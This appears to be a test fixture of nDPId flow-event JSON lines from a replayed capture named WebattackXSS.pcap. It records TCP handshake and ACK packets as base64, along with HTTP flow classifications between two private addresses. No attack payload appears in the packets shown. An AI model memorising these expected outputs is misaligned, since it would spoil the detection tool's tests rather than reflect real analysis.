+00444{"flow_id":125,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1790,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347182,"pkt_ts_usec":435726,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1MbnFi1c4KRlLaAScSDmrAAAAgQFtAQCCAoD44saATm5pAEDAwc="} +00432{"flow_id":125,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1791,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347182,"pkt_ts_usec":436441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03IlAAD4G6U6sEAABwKgKMtTGAFDgpGUt5xYtXYAQAOWFtAAAAQEICgE5uaQD44sa"} +00432{"flow_id":122,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1795,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347182,"pkt_ts_usec":662388,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XzhAAD4GZqCsEAABwKgKMtSQAFC5seum7bFx0oARAOXgKwAAAQEICgE5udwD44YJ"} +00432{"flow_id":122,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1796,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347182,"pkt_ts_usec":662642,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+oFAAEAGyVbAqAoyrBAAAQBQ1JDtsXHSubHrp4ARAOPa4gAAAQEICgPji1MBObnc"} +00432{"flow_id":122,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1797,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347182,"pkt_ts_usec":663358,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XzlAAD4GZp+sEAABwKgKMtSQAFC5seun7bFx04AQAOXa3wAAAQEICgE5ud0D44tT"} +00432{"flow_id":123,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1801,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347183,"pkt_ts_usec":662540,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rRlAAD4GGL+sEAABwKgKMtSeAFA54BjC0bllf4ARAOVY4gAAAQEICgE5utYD44dM"} +00433{"flow_id":123,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1802,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347183,"pkt_ts_usec":662789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA06TJAAEAG2qXAqAoyrBAAAQBQ1J7RuWV\/OeAYw4ARAONT4gAAAQEICgPjjE0BObrW"} +00432{"flow_id":123,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1803,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347183,"pkt_ts_usec":663526,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rRpAAD4GGL6sEAABwKgKMtSeAFA54BjD0bllgIAQAOVT3wAAAQEICgE5utcD44xN"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1804,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1499347183714,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54484,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1804,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347183,"pkt_ts_usec":714891,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8\/NBAAD4GyP+sEAABwKgKMtTUAFAdl0YzAAAAAKACchBp+AAAAgQFtAQCCAoBObrjAAAAAAEDAwc="} +00444{"flow_id":126,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1805,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347183,"pkt_ts_usec":715037,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1NRZfFQSHZdGNKAScSAtCwAAAgQFtAQCCAoD44xaATm64wEDAwc="} +00433{"flow_id":126,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1807,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347183,"pkt_ts_usec":715798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/NFAAD4GyQasEAABwKgKMtTUAFAdl0Y0WXxUE4AQAOXMEQAAAQEICgE5uuQD44xa"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1819,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1499347186286,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54510,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1819,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347186,"pkt_ts_usec":286838,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8C2FAAD4Gum+sEAABwKgKMtTuAFDJ67YHAAAAAKACchBLMgAAAgQFtAQCCAoBOb1mAAAAAAEDAwc="} +00444{"flow_id":127,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1820,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347186,"pkt_ts_usec":286964,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1O6dKYTkyeu2CKAScSCXQgAAAgQFtAQCCAoD447dATm9ZgEDAwc="} +00432{"flow_id":127,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1821,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347186,"pkt_ts_usec":287541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C2JAAD4GunasEAABwKgKMtTuAFDJ67YInSmE5YAQAOU2SQAAAQEICgE5vWcD447d"} +00432{"flow_id":124,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1825,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347186,"pkt_ts_usec":664062,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iJFAAD4GPUesEAABwKgKMtS4AFBWujDnhCUXYoARAOW59wAAAQEICgE5vcUD44ng"} +00433{"flow_id":124,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1826,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347186,"pkt_ts_usec":664247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mFlAAEAGK3\/AqAoyrBAAAQBQ1LiEJRdiVrow6IARAOO0nQAAAQEICgPjjzsBOb3F"} +00432{"flow_id":124,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1827,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347186,"pkt_ts_usec":665012,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iJJAAD4GPUasEAABwKgKMtS4AFBWujDohCUXY4AQAOW0mwAAAQEICgE5vcUD4487"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1832,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1499347187548,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54524,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347187,"pkt_ts_usec":548972,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aSdAAD4GXKmsEAABwKgKMtT8AFBu8NeFAAAAAKACchCDZQAAAgQFtAQCCAoBOb6iAAAAAAEDAwc="} +00444{"flow_id":128,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1833,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347187,"pkt_ts_usec":549066,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1PzTvrB4bvDXhqAScSBsEQAAAgQFtAQCCAoD45AYATm+ogEDAwc="} +00432{"flow_id":128,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1834,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347187,"pkt_ts_usec":549845,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aShAAD4GXLCsEAABwKgKMtT8AFBu8NeG076weYAQAOULGQAAAQEICgE5vqID45AY"} +00432{"flow_id":125,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1837,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347187,"pkt_ts_usec":663994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03IpAAD4G6U2sEAABwKgKMtTGAFDgpGUt5xYtXYARAOWAmAAAAQEICgE5vr8D44sa"} +00433{"flow_id":125,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1838,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347187,"pkt_ts_usec":664212,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0vWhAAEAGBnDAqAoyrBAAAQBQ1MbnFi1d4KRlLoARAON7fgAAAQEICgPjkDUBOb6\/"} +00432{"flow_id":125,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1839,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347187,"pkt_ts_usec":664811,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03ItAAD4G6UysEAABwKgKMtTGAFDgpGUu5xYtXoAQAOV7fAAAAQEICgE5vr8D45A1"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1843,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1499347188799,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54538,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1843,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347188,"pkt_ts_usec":799750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8dE1AAD4GUYOsEAABwKgKMtUKAFDFBMuWAAAAAKACchA3+QAAAgQFtAQCCAoBOb\/bAAAAAAEDAwc="} +00445{"flow_id":129,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1844,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347188,"pkt_ts_usec":799865,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1Qqv+uT2xQTLl6AScSAOsgAAAgQFtAQCCAoD45FRATm\/2wEDAwc="} +00433{"flow_id":129,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1845,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347188,"pkt_ts_usec":800457,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dE5AAD4GUYqsEAABwKgKMtUKAFDFBMuXr\/rk94AQAOWtuQAAAQEICgE5v9sD45FR"} +00433{"flow_id":126,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1849,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347189,"pkt_ts_usec":664580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/NJAAD4GyQWsEAABwKgKMtTUAFAdl0Y0WXxUE4ARAOXGQQAAAQEICgE5wLMD44xa"} +00433{"flow_id":126,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1850,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347189,"pkt_ts_usec":664828,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0xjpAAEAG\/Z3AqAoyrBAAAQBQ1NRZfFQTHZdGNYARAOPAcwAAAQEICgPjkikBOcCz"} +00433{"flow_id":126,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1851,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347189,"pkt_ts_usec":665524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/NNAAD4GyQSsEAABwKgKMtTUAFAdl0Y1WXxUFIAQAOXAcQAAAQEICgE5wLMD45Ip"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1855,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1499347190051,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54552,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1855,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347190,"pkt_ts_usec":51246,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA88xNAAD4G0rysEAABwKgKMtUYAFBhEDIAAAAAAKACchA0PgAAAgQFtAQCCAoBOcETAAAAAAEDAwc="} +00443{"flow_id":130,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1856,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347190,"pkt_ts_usec":51348,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1RhSQOITYRAyAaAScSBqWwAAAgQFtAQCCAoD45KKATnBEwEDAwc="} +00431{"flow_id":130,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1857,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347190,"pkt_ts_usec":52122,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08xRAAD4G0sOsEAABwKgKMtUYAFBhEDIBUkDiFIAQAOUJYgAAAQEICgE5wRQD45KK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1864,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1499347191299,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54566,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1864,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347191,"pkt_ts_usec":299775,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8a9RAAD4GWfysEAABwKgKMtUmAFBoHamYAAAAAKACchC0UQAAAgQFtAQCCAoBOcJMAAAAAAEDAwc="} +00444{"flow_id":131,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1865,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347191,"pkt_ts_usec":299934,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1Sai+IEWaB2pmaAScSD5ewAAAgQFtAQCCAoD45PCATnCTAEDAwc="} +00432{"flow_id":131,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1866,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347191,"pkt_ts_usec":300466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0a9VAAD4GWgOsEAABwKgKMtUmAFBoHamZoviBF4AQAOWYgwAAAQEICgE5wkwD45PC"} +00432{"flow_id":127,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1870,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347191,"pkt_ts_usec":665248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C2NAAD4GunWsEAABwKgKMtTuAFDJ67YInSmE5YARAOUxCAAAAQEICgE5wqcD447d"} +00432{"flow_id":127,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1871,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347191,"pkt_ts_usec":665477,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EPhAAEAGsuDAqAoyrBAAAQBQ1O6dKYTlyeu2CYARAOMryQAAAQEICgPjlB0BOcKn"} +00432{"flow_id":127,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1872,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347191,"pkt_ts_usec":666020,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0C2RAAD4GunSsEAABwKgKMtTuAFDJ67YJnSmE5oAQAOUrxwAAAQEICgE5wqcD45Qd"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":6,"flow_first_seen":1499347116705,"flow_last_seen":1499347122644,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53786,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":6,"flow_first_seen":1499347116705,"flow_last_seen":1499347122644,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53786,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":6,"flow_first_seen":1499347119336,"flow_last_seen":1499347124645,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53812,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":6,"flow_first_seen":1499347119336,"flow_last_seen":1499347124645,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53812,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":6,"flow_first_seen":1499347120603,"flow_last_seen":1499347125645,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53826,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":6,"flow_first_seen":1499347120603,"flow_last_seen":1499347125645,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53826,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":6,"flow_first_seen":1499347123174,"flow_last_seen":1499347128646,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53852,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 